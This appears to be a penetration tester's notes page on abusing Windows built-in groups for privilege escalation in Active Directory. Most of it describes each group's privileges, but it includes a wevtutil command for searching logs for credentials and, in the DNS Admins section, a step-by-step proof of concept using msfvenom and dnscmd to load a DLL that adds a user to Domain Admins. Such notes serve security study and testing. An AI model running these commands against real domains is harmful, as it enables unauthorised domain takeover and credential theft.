View on GitHub

Built-in Groups Abuse

Backup Operators Group

  • Membership of this group grants its members the SeBackup and SeRestore privileges.

  • This group also permits logging in locally to a domain controller.

Event Log Readers Group

  • Organizations may enable logging of process command lines to help defenders monitor and identify malicious behavior

  • Members of this group may read these logs, potentially finding user credentials

  • Search security logs containing the word /user with the built-in utility wevtutil: wevtutil qe Security /rd:true /f:text | Select-String "/user"

Server Operators Group

  • This group allows members to administer Windows servers without needing assignment of Domain Admin privileges.

  • It is a very highly privileged group that can log in locally to servers, including Domain Controllers.

  • Members can modify services, access SMB shares, and backup files.

  • Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

Print Operators Group

  • Members of this group are granted the SeLoadDriver privilege

  • Members can log on to DCs locally and "trick" Windows into loading a malicious driver.

  • This is a good privilege to perform privilege escalation (see above in the SeLoadDriverPrivilege section)

  • If we issue the command whoami /priv, and don't see the SeLoadDriverPrivilege from an unelevated context, we will need to bypass UAC

Hyper-V Administrators Group

  • The Hyper-V Administrators group has full access to all Hyper-V features.

  • If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins.

  • They can easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.

  • Whenever possible, we can leverage CVE-2018-0952 or CVE-2019-0841 to gain SYSTEM privileges.

  • Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

DNS Admins Group

  • Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server.

  • They can load a malicious DLL and wait for a reboot as a persistence mechanism.

  • Loading a DLL will often result in the service crashing.

  • A more reliable way to exploit this group is to use cube0x0's exploit.

  • PoC to add a member to the Domain Admins Group:

    1. Generate dll: msfvenom -p windows/x64/exec cmd='net group "domain admins" TARGETUSER /add /domain' -f dll -o adduser.dll

    2. Transfer the file to the target machine

    3. Load a custom DLL: dnscmd.exe /config /serverlevelplugindll C:path\to\adduser.dll

    4. CMD only: sc stop dns

    5. CMD only: sc start dns

    6. Confirm group membership: net group "Domain Admins" /dom

Account Operators Group

  • Members can modify non-protected accounts and groups in the domain.

Remote Desktop Users Group

  • Members are not given any useful permissions by default

  • The main use of members of this group are to Login Through Remote Desktop Services and can move laterally using the RDP protocol.

Remote Management Users Group

  • Members can log on to DCs with PSRemoting

  • This group is sometimes added to the local remote management group on non-DCs

Last updated